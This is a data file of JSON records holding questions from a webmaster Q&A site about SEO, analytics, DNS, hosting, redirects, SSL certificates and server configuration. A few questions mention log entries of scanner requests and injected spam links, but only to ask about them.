{"id":"64932","title":"Affect on SEO if share buttons appear before content","text":"I love the way Mashable has big aggregated share counters and share buttons at the top of each article, I think it encourages sharing of articles and it looks nice. I recently added something similar to all my posts, is this a good thing putting share button images straight after the title of a page? I know it is good practice to have some good content that reflects the title for SEO reasons, etc... So is having a few share button images straight after the title likely to be good or have a negative effect on SEO?"}
{"id":"26038","title":"Possible click fraud?","text":"So I'm getting hundreds of hits (per month) across multiple separate domains, all originating from one city with 100% bounce rate and 0:00 time spent on the site. I know hundreds of clicks per month isn't that much; is it just some web crawler that Google Analytics isn't identifying?"}
{"id":"50440","title":"Why is this date in my sitemap \"invalid\" according to Google","text":"My XML sitemap file has `<lastmod>2013-07-06T09:39:51-0400<\/lastmod>` formatted with W3C Datetime Format. Google has a warning message in webmaster tools about this for me:  Google's help document about error sitemap errors states: > This could be because a date is in the incorrect format, or the date itself > is not valid. Dates must use W3C Datetime encoding, although you can omit > the time portion if you wish. For example: > > * 2005-02-21 > * 2005-02-21T18:00:15+00:00 >"}
{"id":"64939","title":"Can you set custom DNS for a file\/directory trailing the TLD of a domain (e.g. domain.com\/robots.txt)?","text":"I'm in a situation where I'm looking to set a different DNS record for a certain file on a domain, (specifically `www.domain.com\/robots.txt`), from the root (`www.domain.com`). (The situation is that I've set the web root to point to a non-live record so the website appears to be non-existent but still has mx records to allow email - but I've now realised I actually need robots.txt to be live and accessible for crawlers such as archive.org so that they respect my site's wishes to not show past snapshots of the site.) Is it possible to do this it in DNS (like some sort of 'TXT' record?), or is there no way to differentiate the DNS of anything trailing `.com`, from what's already been set for `www.domain.com`? The issue is that I really need the web root to solidly appear like a non- existent site, as discussed in my earlier above-linked question. It can't be a 'fake' non-existent page, but an actual one. Perhaps those two things are simply incompatible?"}
{"id":"45474","title":"How to setup a failover using 2x shared hosting packages","text":"I have purchased 2 shared hosting packages that are separated servers. I want to mirror these and setup a IP fail-over system, so when `SiteA` becomes unreachable then `SiteB` is used instead. It might be worth mentioning that `SiteA` uses Cpanel and `SiteB` uses Plesk. Would this be possible with this setup?"}
{"id":"28096","title":"Strategy for image sizes","text":"I run a site that has a lot of writers that generate quite a few articles a day. I require them to provide two image sizes (one for the big headline image and one as the thumbnail). I've been wanting to change up the site layout a bit, but I am becoming limited by the image sizes for the posts. I have considered just cropping images, but they still need to look nice, and cropping doesn't always generate what I'd want. I'd prefer to just scale down by percentage (as I do with thumbnails). Should I just make the writers provide more images? How do other sites handle this?"}
{"id":"19822","title":"Can I use others' content on my own website without their permission?","text":"I would like to ask if is it legal to put someone content on own website (content will be changed to match my own design) without asking the owner of that site for permission. I would like to get some properties available in my area to display on my website from external sources to help people find something to rent\/buy in that area. Can I do it without getting agreement with that site?"}
{"id":"67896","title":"What can cause the size of HTTP response to vary for the same response body?","text":"I am trying to understand why the web server behaves differently for the following bad requests: Method Proto Status Req Body Res Referrer User Agent HTTPS Encrytion GET \/ HTTP\/1.0 400 11 362 0 - - - - \\x80w\\x01\\x03\\x01 400 29 226 0 - - GET \/api\/ HTTP\/1.0 400 32 226 392 - - GET \/ HTTP\/1.1 400 316 226 4295 - - GET \/ HTTP\/1.0 400 735 226 4121 - - TLSv1.2 RC4-SHA GET http:\/\/example.com\/?PHPSESSID=1abcdef0123456ABCD_EFGHI HTTP\/1.1 400 167 226 392 - - GET \/HNAP1\/ HTTP\/1.1 400 369 226 392 http:\/\/1.2.3.4\/ Mozilla\/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.0.1234) GET http:\/\/example.net\/headers HTTP\/1.1 400 423 226 392 - Mozilla\/5.0 (X11; Ubuntu; Linux i686 on x86_64; rv:20.0) Gecko\/20100101 Firefox\/20.0 I do not understand why the server is returning 0 byte for first and second request and why it is returning more than 4kB in the the 4th and 5th request when the normal size is exactly 392 bytes. Note that I do not have any custom error page for HTTP error code 400."}
{"id":"48318","title":"Why do hackers inject hidden links?","text":"I discovered a hacked site recently which has a `div` in it with a bunch of links to casinos at the top and the `div` is `display:none;`. I understand that black hats may hack sites in order to gain backlinks, but what is the purpose if the links are `display:none` ? I thought Google disregards these links? Are these hackers smart enough to hack sites but too stupid to read up on SEO basics? So what is there to gain by injecting hidden links?"}
{"id":"3526","title":"Can i put my PO Box Address in Street Address field in google adsense?","text":"Can i put my PO Box Address in Street Address field in google adsense ? I mean here : https:\/\/www.google.com\/adsense\/g-app-single-1?hl=en can you give me examples."}
{"id":"68160","title":"Nginx Rewrite causing problems","text":"I wrote a little php script that reads and compresses css and javascript files. I used a rewrite to automatically redirect all resources to that script. The rule looks like this: rewrite ^(\/.*\\.(css|js))$ \/compress.php?file=$1&type=$2; However this somehow disables these settings: location ~* \\.(css|js|gif|jpe?g|png|ico)$ { expires 168h; add_header Pragma public; add_header Cache-Control \"public, must-revalidate, proxy-revalidate\"; } How do I get Nginx to still use these settings?"}
{"id":"22807","title":"Does google bot read the tool tip box content and does it benefit having it, in terms of seo?","text":"Does google bot read the tool tip box content and does it benefit having it, in terms of seo? I have seen SE using this on homepage. Any ideas?"}
{"id":"3521","title":"Personalized URL with pre-populated data","text":"I think I am going to use Google spreadsheets and an embedded form. I see that it is possible to pre-populate the fields with URL parameters. So I think I just need a way to redirect with the correct data from a database when a user goes to their Personalized URL. I have no idea how to do the second part. Or if it is even the best way to do it. **How do I set up Personalized URLS?** **How do I redirect from those URLS to the spreadsheets?** **Is this even the best method for pre-filled forms?**"}
{"id":"58064","title":"How to invalidate images on Amazon CloudFront after optimising them?","text":"After checking on Google PageSpeed Insights, I have optimised the images on several websites using `jpegoptim` and `optipng`. Obviously a lot of the images are now smaller and they have new timestamps, but they have not been updated through the Amazon CloudFront CDN. The expire headers in `.htaccess` have been set for one year. There are many hundreds of images that have been optimised, so manually invalidating them is not that feasible. What is the best way to do this?"}
{"id":"68169","title":"Lost website rankings as a result of using a 302 redirect instead of a 301","text":"I have an online store and during the last 2 days I noticed a big change in its SERPS for some keywords. The site is indexed in local Google for 5 keywords, and the online store is based on Magento 1.7. 5 days ago, I set up an SSL certificate in the online store in order to get better ranking results. I setup the SSL and followed the instructions from the Magento to make permanent `301` redirects from the HTTP URLs to the HTTPS URLs. I replaced all the URLs of the online store with HTTPS. When I saw in the SERPS that the rankings for some keywords were going up and down, I checked some URLs to see if all was going well with `301` redirects and found that the redirects where `302` and not `301`, which is a big bug caused by Magento. I solved the problem with the _.htaccess_ , but still the rankings for the homepage have disappeared. I fetched the site again using Google Webmaster Tools and am waiting to see. Can you please advise if I did something wrong, and what else I could do?"}
{"id":"61773","title":"What are \"search volume trends\" in AdWords?","text":"There was a change in Google Keyword Planner that added a \"search volume trends\" graph. How is it calculated? The keyword \"keyword1\" has 800 average monthly searches while the search volume trends shows 3000 - why?"}
{"id":"38515","title":"GeoTrust SSL brand name used by re-sellers","text":"I feel like a I got the bait-and-switch from my web host provider since they advertise \"GeoTrust SSL\" for $99. I purchased it, thinking the certificate is issued from geotrust.com, but then I get an email from Comodo saying they are providing it. My host provider says they get a discount by using Comodo. I purchased the certificate with the understanding it would be issued by GeoTrust. I called the host provider and they said they usually expect it from GeoTrust, but someone from email support responded saying the product name is \"GeoTrust SSL\" but they use Comodo to get a discount. I think this is bogus and unfair trade practice. However, searching for \"GeoTrust\" on google brings up a ton of websites selling \"GeoTrust\" certificates. How can companies get away with this? Since the host provider is part of BBB I plan to inform my host to update the purchase page on their website to state clearly that... \"This certicate is provided at a discount and may be issued by a provider other than GeoTrust.com, such as Comodo.com\" Any feedback on this is appreciated."}
{"id":"49832","title":"What qualifies as a REST web service?","text":"A year ago i developed an iOS application that was connecting to a server with HTTP requests exchanging JSON files, etc... I was told at that time that the server was a web (REST) service. I didnt care much since for me it was just a black box. Recently, I've been developing a hybrid mobile application where i use native code + jQuery mobile for the front-end part and PHP + MySQL for the back-end part. The application is for registering new users to the database, having users to subscribe in various kinds of events, get notifications on them, etc... So for all the communication between the front-end (client) and back-end (server), I make HTTP requests (POST) and Ajax calls using JSON files. For example, if I have a subscribe button and is clicked, I make an Ajax POST request sending in the body a JSON file with all the information needed, like user ID and categories to subscribe, to a PHP script. The PHP script then makes all the necessary actions in the database. Is this a RESTful Web Service? I am a bit confused on the definition of REST. According to Wikipedia REST is: > REST-style architectures conventionally consist of clients and servers. > Clients initiate requests to servers; servers process requests and return > appropriate responses. So is what I am building a RESTful Web Service? Also do we call REST only the server part or in general the client-server architecture? From other questions I read that a non-REST web service would manage a database like: \/user_create \/user?id=xxx \/user_edit?id=xxx \/user_delete?id=xxx and a REST web service would just \"expose an API with a single base resource\": \/user \/user\/xxx I'm really having difficulty understanding what these things mean... Could someone try to explain to me when a service is a REST web service, maybe by giving me an example of what it is and what it is not?"}
{"id":"10716","title":"On-Site Factors that Affect CPC","text":"I have a few websites on various niche topics, all running Adsense. The most promising one currently has a CPC that hovers around $1; the rest have CPCs of $0.25-$0.50. I'm curious to know **what on-site factors affect CPC.** That is to say, what I can do, legally (in white-hat compliance) to increase my CPC? Some factors that affect CPC but are _not_ within my control (and therefore, beyond the scope of my question -- they're just examples) include: * What advertisers are paying for keywords on my site * What pages people are landing on * etc."}
{"id":"10712","title":"All the IPs of search engine bots?","text":"if I want to filter out all the search engine bots for example for a script that counts users that are online is there website or a list which is allways up to date and includes the ip addresses of all the bots? Because if I put them into my script manually I will have to change it every day since there are new ips coming. Thanks for your help!"}
{"id":"68841","title":"IP address not pointing to domain name I expect it to","text":"I am administering this site: http:\/\/www.epicperks.com. As per GoDaddy's control panel as well as this service, the IP address pointing to http:\/\/www.epicperks.com is `50.63.210.1`. However, when I visit the two address (one domain name, one IP), I see completely different results. The domain name shows the website as I intend it to be but the IP address shows `pageok` message. What is going on here?"}
{"id":"2696","title":"SEO domain.com and domain.co.uk","text":"I currently have a web site domain.com. This is my primary site. i want to get search results in the uk and i am considering purchasing a domain.co.uk. This will be an empty site which will 301 the user to the primary domain.com Is this bad for SEO? Also, are there better ways of implementing such features?"}
{"id":"59351","title":"tracking past and current 301 pages in analytics?","text":"we recently revamped about 90 pages on our website. MAJOR changes to increase conversions and user retention. We also redirected the pages to better SEF urls. Well, in google analytics, since the switch, and since the URL has changed.... I have two different sets of data based on the page and am not able to do comparisons on the time on page, bounce rate, exit etc etc. Anybody have any thoughts on this or could point me in the right direction?"}
{"id":"24076","title":"How can I optimize a business site to rank well in local search for multiple cities?","text":"I live in an area where there are two cities of 60-90k people adjacent to each other. Due to Google's apparent emphasis on physical location of a business when it comes to SERPs for local queries, it can be difficult for a business to rank for searches which include the neighboring city's name (going both ways, although it seems that searches including one of the city's names are quite a bit more common than the other). How can a business effectively rank well for queries including either city name, when said business operates in both cities but only has an office in one location?"}
{"id":"38630","title":"See how one goal leads to another (i.e., how often downloading the demo leads to purchasing)","text":"I have two goals set up for my site in Google Analytics: one to download the demo of my software, and the other to buy the full version. I'm having trouble getting statistics on how often the download leads to a purchase. This seems like something the multi-channel funnel is perfect for (as in this question)---I expect that it takes multiple visits for the demo download to convert into an order. However, I can't seem to narrow down the multi-channel funnel data into only those that have one goal followed by another. If it matters, I'm tracking the ordering action as a page view (i.e., someone views the \"Thanks for ordering\" page) and the demo download as an action (which fires when someone clicks the \"download\" button). **EDIT** : I have a funnel set up for this (which has the demo download as a required first step, followed by the steps in the multi-page purchasing funnel). However, as far as I can tell, this does not display what I want, since I expect the purchasing step to occur on a separate visit. Am I wrong about that?"}
{"id":"38633","title":"Why would URLs submitted in Google Webmaster Tools drop to 0?","text":"Why would URLs submitted in Google Webmaster Tools drop to 0? It's a small site, only like 20 pages, I submitted the XML sitemap and for about a week it said 20 URLs submitted. A day or so ago it indexed about 17 of the pages, but today when looking it not only says that 0 are indexed but also 0 have been submitted. I did a site search on Google and found clearly that pages are indexed, is this just an error on Google Webmaster Tools?"}
{"id":"38635","title":"http requests, using sprites and file sizes -","text":"Hi all I'm in the process of finding out all about sprites and how they can speed up your pages. So I've used spriteMe to create a overall sprite image which is 130kb, this is made up of 14 images with a combined total size of about 65kb So is it better to have one http request and a file size of 130kb or 14 requests for a total of 65kb? Also there is a detailed image which has been put into the spite which caused it's size to go up by about 60kb odd, this used to be a seperate jpg image which was only 30kb. Would I be better off having it seperate and suffering the additional request?"}
{"id":"38636","title":"A lot of 408 errors in apache logs - how to prevent them?","text":"I see a lot of 408 errors in my apache2 logs. I increased RequestReadTimeout and KeepAliveTimout but errors are still there. The errors look like this: xx.xx.xx.xx - - [05\/Dec\/2012:19:33:56 +0100] \"-\" 408 4561 \"-\" \"-\" xx.xx.xx.xx - - [05\/Dec\/2012:19:33:56 +0100] \"-\" 408 4561 \"-\" \"-\" I heard that these errors are related to Chrome optimization and some users did reported our site returning 408 internal error. It is interesting that we get two 408 error from same IP in sequence then it that IP start working."}
{"id":"58202","title":"Google Analytics: How to track goal steps with events?","text":"I am looking for a way to setup several goal steps that are **not** URLs. My funnel should look like: 1. unique visitor 2. interested visitor (visited more than 1 page) 3. registration started user (event fired) 4. registered user <- goal (event fired) But I can't identify some of those 'steps' by a simple URL. My approach is now to fire an event with an url like: ga('send', 'event', 'reg', 'regstart', {'page': '\/my-new-page#regstart'}); and for registration success ga('send', 'event', 'reg', 'regsuccess', {'page': '\/my-new-page#regsuccess'}); and this is my config:  I fired the events via console to see if it works - but nothing shows up in analytics report. Any ideas why? **Edit 1** : I edited my whole question because of @Geoff Jackson recommendation to track this special url with an event."}
{"id":"58205","title":"Changing nameserver on registar","text":"Im changing the nameserver some domains that I have registered on register365, they allow a user to enter two nameservers and a tertiary nameserver. The new nameservers I am using are AWS which has four nameservers. I was wondering do I need to use all four of these or does that matter? Also what is the tertiary nameserver?"}
{"id":"13061","title":"Is it a bad idea to promote your site through relevant blog's by commenting?","text":"I've searched the net and wasn't able to find a solid answer to this. Is it poor practice to seek out blogs that are related to your site, and post comments relevant to the particular blog post, in order to gain backlinks? For example, if my site was called \"TAFSpecialists.com\", or \"The Ant Farm Specialists\" and I posted comments on relevant blogs using the name The Ant Farm Specialists and TAFSpecialists.com as the website URL, will Google penalize my site? Or is it beneficial, as I originally thought? I'm not spamming blogs, but rather contributing intelligent comments to their blog post. Thoughts?"}
{"id":"30408","title":"Is there a way to know time on page for a single page?","text":"Just like we see it on Audience->behavior->engagement->visit duration: 0-10seconds X people, 11-30s Y people, etc, but for a given page only. Not average time. Google analytics has the data since we can see that info for all the site... how to see it for a page?"}
{"id":"33827","title":"XAMPP phpMyAdmin - Access forbidden!","text":"I can't access PHPMyAdmin. I have installed XAMPPlite 1.6.5 on Windows 7. I haven't changed any config, except `.htaccess`, where I added the third line: Order deny,allow Deny from all Allow from localhost Unfortunately, I get the following error when I try to access phpMyAdmin or security from localhost. > Access forbidden! > > You don't have permission to access the requested object. It is either read- > protected or not readable by the server."}
{"id":"36160","title":"We have a 200% increase of \"organic\" search traffic - how to figure out which keyword is causing this?","text":"So our Google Analytics are showing us that 200% increase of \"organic\" search traffic. Analytics are saying that search keyword is \"(not provided)\". We are wondering how to find out which keyword is causing this? We are monitoring all important keywords for our website. None of keyword is in first 5, so our \"organic\" serach traffic is modest. However, today we received 200% increase of \"organic\" search traffic but none of keywords we can think of moved a bit. We also did not change anything related to SEO. And what is interesting Google Webmaster shows no changes - ~2500 impressions and ~200 clicks. How to find out which \"keyword\" might be causing this spike?"}
{"id":"36165","title":"Does \"Google Webmaster Tools\" service send notification if finds broken links?","text":"Can GWT email me if a broken link is found on my website?"}
{"id":"36168","title":"Best way to setup multiple sites' emails in my Gmail","text":"I've a dozen sites and I want all of their emails come to my one gmail id and I want to reply centrally from Gmail only. I've also added all of those emails in \"send email as:\" list in Gmail. I could add email forwarders in my Cpanel but in that case I'll not be able to send email whose inboxes haven't been created( for example contactus@mysite.com). If I create email account then I'd receive emails in my inbox as well as forwared by the forwarder( to my gmail id). Otherwise I can setup Gmail for my domain. But for a dozen emails I'm not sure if that'd be fine. I see in http:\/\/www.google.com\/enterprise\/apps\/business\/pricing.html that for up to 10 emails it is free. But then to send email from webhosting the php code will need SMTP login details and leaving my important gmail account details in my webhosting account is very risky given my sites have been compromised twice. What is the best way to centralize all my emails so that I can read\/reply\/search from single place?"}
{"id":"44258","title":"Domain name transfer: do you lose years left at current registrar?","text":"I have a domain registered at GoDaddy. it was registered for five years (two years ago). whois records shows it will expire some time in 2015. Now I want to transfer to Gandi. The problem is Gandi asks me to pay fee for at least for one year. So my question is, * If I transfer a domain, should I start paying from the beginning (losing two or what ever years left with previous registrar)? * If so, Is it with the same policy with any registrar out there?"}
{"id":"20267","title":"Everything needed to run a high-traffic web site","text":"I'm an experienced front-end web developer, while my back-end experience has occurred only within the context of Drupal. Basically, the deeper things go into the back end, the more inexperienced I am. At a certain point, I don't even know what it is I don't know. I'm hoping to get a broad sense of all that's required on the back-end to run a high traffic website. I realize that certain things will depend on the whether you're using something like PHP vs Ruby, type of database, type of server, and the type of OS on that server. At the moment I'm planning on using Amazon EC2, but am not sure about PHP vs. Ruby. As far as I can tell, here are the main categories: **Server** 1. Main configurations 2. Monitoring performance \/ issues 3. Scalability in the long & short run (short run = ability to quickly increase capacity) **DataBase** 1. Main configurations 2. Monitoring performance \/ issues 3. Scalability in the long run 4. Caching (not sure if query cacheing is done at the DB level or PHP\/Ruby level) **Back-end Language (PHP or Ruby)** 1. Main configurations 2. Caching 3. Cron jobs (or equivalent in Ruby, if called something else) I fear that this question may get closed as not a real question because it's not specific enough. But it's my back-end inexperience that makes it difficult for me to eve know how to correctly pose a question like this. If the question should be revised, please leave a comment explaining in what way and I'll be sure to do so."}
{"id":"27814","title":"Evil Spam Emails caused hosting account suspension!","text":"We have a couple domains hosted rackservers.com.au. Recently our account go suspended without any notice. I then filed a ticket and soon got the answer:'There are some one forging email accounts from your domain, and they have been sending out spam emails. So we do not want you here anymore, take your backup and go.' I am quite shocked by such attitude and more confused by the actions we should take under such situation. Should I take my back up and go? Should I ask them for more details? How can I prevent this from happening again in the future?"}
{"id":"27817","title":"Improve efficiency of web building setup and processes - Wordpress on Mac","text":"Can anyone see any ways in which I can improve my speed and efficiency with the following setup? Or if there are any obvious holes in my building process? This is for building **Wordpress** websites on **Mac** : 1) I have a standard Wordpress setup that I work from which includes various plugins that I tend to use across all setups - thus cutting out the step of having to download them all the time! 2) My standard WP files are copied into a **Dropbox** folder - thus creating backups of the files. 3) I then open up **MAMP** and setup a local version. 4) I open up **Coda** and setup the FTP details so files can be uploaded to the live domain by using the publish button. If anyone has any advice on how to improve this process then please let me know!"}
{"id":"38188","title":"Can Google track my site without Google Analytics?","text":"If my site doesn't install Google Analytics and I'm using the browser IE, not Chrome. Can Google track my sites? (collect data about how many visitors, pageviews, time on sites, bouce rate...) If yes, how Google did? Anyone has some docs about this problem?"}
{"id":"17832","title":"Looking for a Clean File Host","text":"I have a Blogger blog and I would like to have a way for readers to download files (Blogger doesn't host files like that.) I would use something like github, but one of my files is actually just a spreadsheet make with OpenOffice Calc that has a function on it -- not really something for GitHub. Where is a great place to upload this where users can download the files if they want? I know there are a lot of those ad-ridden \"get paid to have people download files from you\" type of sites and that's exactly what I would like to avoid. Anyone know of a (hopefully) free place I can dump files so that people can download them that isn't junky, ad-ridden, scammy, dirty, or virus-filled place?"}
{"id":"17834","title":"Pairing teams up for competition","text":"So i visited this site http:\/\/fantasy.premierleague.com\/ and in this when i go to the fixtures, i was thinking, how did the developer designed this so that the new fixtures get generated on its own? For eg if i am having 10 teams(say), and i am competing them in some competition(say football) then how do i design my thing so that after each week a new set of fixtures is generated, shall i change the page after every week, and change it manually, or how do i do it. Say, i am having all my fixtures in hand, i.e. i know every weekly fixture, then how do i design the whole thing. It will not be nice to edit the page every time i need to change the fixtures. I am still a beginner, who have practiced a bit of PHP, so kindly help!"}
{"id":"21720","title":"Preserve search engine rankings while shifting to new domain name","text":"We have to shift our web-site to a new domain due to some unavoidable circumstances. The portal has been up and running there since 2009. It has good index in various search engines and we are getting a good number of page hits on daily basis. Losing the search hits and index are our big concern. We are not sure how best we can handle this. What all can be done to preserve as much as possible while shifting to new domain name."}
{"id":"17837","title":"Connecting keywords with location","text":"_**Is there a way to connect the keyword with the location withing Google Analytics?_** I would like to be able to see what cities are searching for what terms."}
{"id":"67111","title":"Webmasters hentry error and authorless pages","text":"Within Google Webmasters Search Appearance->Structured data I'm getting a series of errors: Error: Missing required hCard \"author\". And most of my 44 errors have: Missing: Author Missing: entry-title Missing: updated There seems to be no CLEAR explanation of these errors. It is either because these classes exist without their nested classes, or they are expected to exist because of something else, possibly itemscope or itemtype='' The Question: How do you specify with richsnippets that the page is about a location and there is no human author?"}
{"id":"69083","title":"How should cross site canonical meta links be placed? Should they be different per page and should they go on the canonical domain itself?","text":"I have a website available via `www.mydomain.com` that is also available via `svr7464z.vps.hostingcompanycom`. The content is 100% identical, it's a mirror. I don't want search engines to know about `svr7464z.vps.hostingcompany.com` and probably they never will but just in case they do I want to avoid duplicate content issues. Unfortunately, blocking the offending URL is not possible and neither are 301-redirects. So it seems rel=canonical should come to my rescue, but I'm confused where to place it. Do I have to place the tags only on the `svr7464z.vps.hostingcompanycom` pages or also on the pages available via the official domain `www.mydomain.com`? Also, do the tags have to be different based on the page? _For example:_ For: `http:\/\/svr7464z.vps.hostingcompany.com` Tag: `link rel=\"canonical\" href=\"http:\/\/www.mydomain.com\"` For: `http:\/\/svr7464z.vps.hostingcompany.com\/about` Tag: `link rel=\"canonical\" href=\"http:\/\/www.mydomain.com\/about\"` For: `http:\/\/svr7464z.vps.hostingcompany.com\/contact` Tag: `link rel=\"canonical\" href=\"http:\/\/www.mydomain.com\/contact\"`"}
{"id":"67119","title":"Will canonical tag referencing unsecure HTTP URLs on a HTTPS page cause the unsecure message?","text":"If a secure HTTPS page has a canonical tag referencing the HTTP version, will this cause the message in the browser that the page is using unsecure elements and prevent the green lock icon appearing? e.g https:\/\/wwww.example.com\/ has the following canonical tag defined: <link rel=\"canonical\" href=\"http:\/\/wwww.example.com\/\" \/> I know if that if other elements on a HTTPS page are called unsecured via HTTP you get the following warning in browsers:  As opposed to the lock icon:  Will this also happen if the canonical tag is using HTTP? I've read else where that it wont, but I'd like to see a live example."}
{"id":"44431","title":"Index manager in cpanel. Do contents still get indexed with \"No Indexing\"?","text":"Simple question. A folder, lets say for example abc.com\/images\/ Is being displayed on google as \"index of\", which I don't like. The contents of this folder are important, and it is important that they get indexed, but I don't want to see the \"index of\" page. It is unclear to me whether selecting the \"No Indexing\" in cpanel will remove the contents from indexing as well. http:\/\/docs.cpanel.net\/twiki\/bin\/view\/AllDocumentation\/CpanelDocs\/IndexManager What should I do anyways, Redirect to another page? What's a common practice?"}
{"id":"44432","title":"Any smart touch tv that supports silverlight through its native web browser?","text":"I have developed a silverlight application and would like to test it in a touch environment, so my question is are there any smart TV where I can show this application through their native web browser or do I have to connect a computer (with windows 7\/8) to a touch monitor (in order to support silverlight)? The TV monitor should be placed in a corridor and should be around 40 \" big. 2 touch points are enough but 6 would not be bad either (but price is of concern here). Of course it could be a all in one touch computer but these tend to be rather expensive when they have such a big screen (Microsoft table etc) Sorry if this question is misplaced but didn't find any other forum that would fit this subject, if there is please let me know and I will correct the mistake =)"}
{"id":"44433","title":"Google Analytics ID web\/mobile app exchange possible?","text":"If I have a website with Google Analytics ID UA-xxxx, and now I want to develop an iOS app related to my site, can I use the same id UA-xxxx or do I have to create a new ad-hoc one?"}
{"id":"44434","title":"Change name of audio file for download","text":"I have some mp3 files which are named \"my-audio.mp3\" but now the client wants the visitor to be able to download and save these files to their desktop. He doesn't like the name with the hyphen and wants them renamed to \"MyAudio.mp3\". Other than putting the renamed files into their own 'download' folder, how can I make this work on Apache?"}
{"id":"44630","title":"How to prove content is mine after somtime using web","text":"I need some suggestions as to how proved the ownership of content in case it is stolen using Web exclusively and that'd be the interest of every Webmaster publishing any content. I mean I've plenty of content in form of images, pdf files, articles. Suppose I publish those articles - somebody else can then re-use it as one's own idea etc. Later it will be difficult to prove that it originally belonged to me( on a so and so date). We should be able to prove ownership in the courts( as against to Google) Here is another related thread: Website content copied - How can I prove that I wrote it? . Will it be ok to send those documents say in zip file using gmail to my other email accounts which I can use later to prove that those were with me during a time - assuming we can't change those sent dates in email accounts from reputed providers? In the same way I can upload them in docstoc.com in pdf files, store them at any file sharing sites in zip, encrypted ( without divulging those urls). Another idea is to make a video of documents and upload them in Facebook etc. So I want to know if there are any better ideas!"}
{"id":"26467","title":"Refactoring large\/old CSS files","text":"I'm currently working on a 100,000 page website, the current design has been in place for over 5 years and successive updates have resulted in four 12,000+ line CSS files. Obviously the CSS has become unwieldy, many of the styles are duplicated and it's nearly impossible to know how many of the styles are actually being used. We can minify, but this isn't really tackling the problem, just delaying the inevitable re-work. So three questions are there any **tools** out there for... * de-duplicating large CSS files? * scanning the site and logging CSS class and ID use? * could such scanning be achieved with a script of some kind, greasemonkey maybe?"}
{"id":"29774","title":"Tomcat 6 broken images","text":"I am using Tomcat 6 to serve both static content and dynamic content. For some reason, from time to time, I see that images are broken. It usually happens when I copy and paste the image URL to the browser. When I refresh the image appears. The server has zero load on it. Has anyone encountered such issue with Tomcat?"}
{"id":"29805","title":"Is It Bad for SEO to Have Multiple Domain Names If You Set Up rel=\"alternate\" Tags Correctly?","text":"We have several sites that have multiple domain names. Rather than forwarding to one domain name, we set up `rel=\"alternate\"` tags in the header of each page, pointing to the other versions of that page, with one page marked as `rel=\"canonical\"`. I was under the impression that this would allow spiders to correctly determine that the pages are not content spamming. However, a client has had a report from a \"SEO Expert\" who cclaims the opposite. If the `rel=\"alternate\"` tages are set up correctly, is there a problem?"}
{"id":"23511","title":"how are they doing this for their CMS?? And how can I do something similar","text":"They've linked the CMS, mail (which is http:\/\/www.campaignmonitor.com), social sites management, some kind of online payment solutions, and word press all under one log-in. I'm mostly a graphic designer -- People much smarter than me... How is this done? Can anybody point me in the right direction to get something similar to this?. here's a link of their youtube giving an overview of it: http:\/\/www.youtube.com\/watch?feature=player_embedded&v=eGKv8YDZvbo"}
{"id":"10018","title":"What does the impression and ctr means in google webmaster","text":"I am checking google webmaster tools. I entered the search queries section. There i found alot keywords and their impression and ctr etc. I clicked on one of the query keyword there it shows the keyword and position in search result, but when i go to google.com and type the specified keyword it shows no impressions too... how do i measure find my site's impression on google.com my site: http:\/\/www.trekkingandtoursnepal.com keyword: trekking nepal"}
{"id":"59004","title":"How come Indiegogo links shared on G+ link to their page instead of displaying URL?","text":"If an Indiegogo link, such as this one, gets shared on G+, their G+ page is displayed in the post in the place where commonly the URL would be displayed. I've tried looking analyzing the HTML, but came up empty handed: there's Twitter cards metadata, there's OpenGraph, there is a G+ button -- but I found nothing that links to Indiegogo's page, not even `rel=\"publisher\"`. **So, how does Indiegogo achieve this?**"}
{"id":"59551","title":"Managing reviews. What's best for increasing search engine ranking?","text":"I'm managing my wife's business website for her day spa. I built the site in WordPress. I'm trying to find the best solution to manage reviews and the pro and cons of each. Right now, she has a Yelp business listing with a few reviews. I'm in the process of verifying a Google+ Place for her business. I'd like to have reviews on her site and there are many solutions for integrating Yelp via their API. But is it beneficial to do that? I have another solution for self-hosted reviews on her site that are all marked with the appropriate schema tags for reviews. On that same note, what about reviews that show up on the Google+ Place? Are those queried from Yelp and reviews on websites, such as mine?"}
{"id":"56564","title":"How do I access ZPanel (control panel) files?","text":"I've bought a VPS and installed Ubuntu 12.04 on it. To control my domains, I've installed a ZPanel X (10.1.0) control panel, and while this worked perfectly after 4 tries, I cannot access the ZPanel files themselves. I can create an FTP account within ZPanel, but I can only access the *\/public_html\/* folder, even though I set root\/master access to my FTP account. I can't access the folder _\/panel\/_ , where the ZPanel files are stored. You might be asking why I want to do this? I need to configure and edit some ZPanel files."}
{"id":"59009","title":"How do I go about getting hold of a domain name that Whois shows as expired, but domain registration sites show as \"taken\"?","text":"There's a domain I'm interested in using, but it's never been worth paying the big bucks it would have taken to buy it off the squatters who bought it when the company it was originally used by folded quite a few years ago. I've just spotted that WhoIs.net is showing contradictory information. When I do a lookup the results page shows: > [domain].com is already registered * where the (*) points to their usual disclaimer. But at the \"who is\" information has the following at the bottom: Created: 2007-07-19 Updated: 2011-07-20 Expires: 2012-07-19 i.e. the registration expired getting on for two years ago now. However, when I go to a domain registration site it also states that the domain is taken. What's the correct procedure here? Can (or indeed should) I just backorder it from the domain registration site? Will their enquiry just trigger the release of the name, or will it backfire and the current (well previous) owner renew it and try to sell it for mega bucks now that they know for certain someone is interested? I've seen this question, but I don't think the situation is the same in this case: How would you convince a domain owner to sell his domain to you?"}
{"id":"39581","title":"Is there a way to record scrollbar movement?","text":"Simply put, I would like to know if customers are looking at the whole page or not, to decide whether I should rearrange the content, moving it up on that page or not. Is there a way to record the scrollbar movement on a certain page, or visually record visitor's behavior for that matter? Perhaps even a whole other way to achieve this goal?"}
{"id":"47074","title":"What does the keyword 'impression' mean or constitute in web analytics","text":"I would like to understand what does the keyword 'clicks' mean or constitute in web analytics. I have asked a similar question for clicks since the keywords individually mean 2 different things."}
{"id":"29118","title":"Including title page name in PHP URLs","text":"How do I show titles of the page in URLs? **Currently** : `http:\/\/websitename.com\/index.php?c_id=18&start=0&m_id=1` **Change To** : `http:\/\/websitename.com\/index.php?c_id=title_of_the_page&start=0&m_id=1` Like Joomla gives us option to change URLs to seo-friendly, is there a code or something we do in httaccess etc so the page title automatically becomes part of the URL?"}
{"id":"47077","title":"Quantcast reporting","text":"Looking at a Quantcast report I see that they have metrics like women, male, children and different age groups, etc. How do they determine which visitor to the site is woman, male, child, old man, etc?"}
{"id":"7193","title":"Drupal 6 to Drupal 7 upgrade tips?","text":"Drupal 7 is coming. Any tips for upgrading Drupal 6 sites to 7? Thanks!"}
